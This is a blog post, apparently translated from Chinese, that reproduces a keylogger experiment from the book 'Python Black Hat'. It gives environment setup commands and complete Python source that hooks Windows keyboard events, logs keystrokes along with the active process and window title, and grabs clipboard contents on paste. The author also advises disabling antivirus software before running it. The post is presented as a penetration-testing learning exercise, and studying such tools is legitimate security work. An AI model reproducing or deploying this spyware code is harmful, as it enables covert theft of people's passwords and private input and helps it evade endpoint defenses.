laitimes

Python Penetration Testing Primer Keylogger

author:AILX10
Python Penetration Testing Primer Keylogger

Recently, I received a network security book "Python Black Hat" presented by the Electronic Industry Press, a total of 24 experiments in the book, and the 19th experiment (keylogging) is reproduced today, my test environment is Windows virtual machine + Conda development environment + python3.7. This experiment is very interesting,In the Windows environment,You can record the recording of the keyboard under different processes,For example, I typed "Hello" on the Notepad notepad, and the program will run to get "ninhao" such a pinyin, this kind of program will generally be intercepted by antivirus software, so please close the antivirus software before doing the experiment~

Python Penetration Testing Primer Keylogger

AILX10

Excellent answerer in cybersecurity

Master's in Cybersecurity

Go to consult

The experimental environment here chooses python3.7, so that there is almost no need to change the code, otherwise the code may be incompatible, and you need to manually modify it yourself~

conda create -n py3.7hack python=3.7
conda activate py3.7hack
# conda install -c conda-forge pywinhook (python3.6环境)
pip install pyWinhook           

The results of the experiment are as follows:

Python Penetration Testing Primer Keylogger

Reference Code:

# -*- coding: utf-8 -*-
# @Time    : 2022/6/24 8:17 PM
# @Author  : ailx10
# @File    : keylogger.py

from ctypes import byref,create_string_buffer,c_ulong,windll
from io import StringIO

import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard

TIMEOUT = 10

class KeyLogger:
    def __init__(self):
        self.current_window = None

    def get_current_process(self):
        hwnd = windll.user32.GetForegroundWindow()
        pid = c_ulong(0)
        windll.user32.GetWindowThreadProcessId(hwnd,byref(pid))
        process_id = f"{pid.value}"

        executable = create_string_buffer(512)
        h_process = windll.kernel32.OpenProcess(0x400|0x10,False,pid)
        windll.psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

        window_title = create_string_buffer(512)
        windll.user32.GetWindowTextA(hwnd,byref(window_title),512)
        try:
            self.current_window = window_title.value.decode('unicode_escape')
        except UnicodeDecodeError as e:
            print(f"{e}:window name unknow")

        print("\n",process_id,executable.value.decode('unicode_escape'),self.current_window)
        windll.kernel32.CloseHandle(hwnd)
        windll.kernel32.CloseHandle(h_process)

    def mykeystore(self,event):
        if event.WindowName != self.current_window:
            self.get_current_process()
        if 32 < event.Ascii < 127:
            print(chr(event.Ascii),end="")
        else:
            if event.Key == 'V':
                win32clipboard.OpenClipboard()
                value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print(f"[PASTE] - {value}")
            else:
                print(f"{event.Key}")
        return True

def run():
    save_stdout = sys.stdout
    sys.stdout = StringIO()

    k1 = KeyLogger()
    hm = pyHook.HookManager()
    hm.KeyDown = k1.mykeystore
    hm.HookKeyboard()
    while time.thread_time() < TIMEOUT:
        pythoncom.PumpWaitingMessages()

    log = sys.stdout.getvalue()
    sys.stdout = save_stdout
    return log

if __name__ == "__main__":
    print(run())
    print("done.")
           
Python Penetration Testing Primer Keylogger

Posted on 2022-06-24 21:24

Read on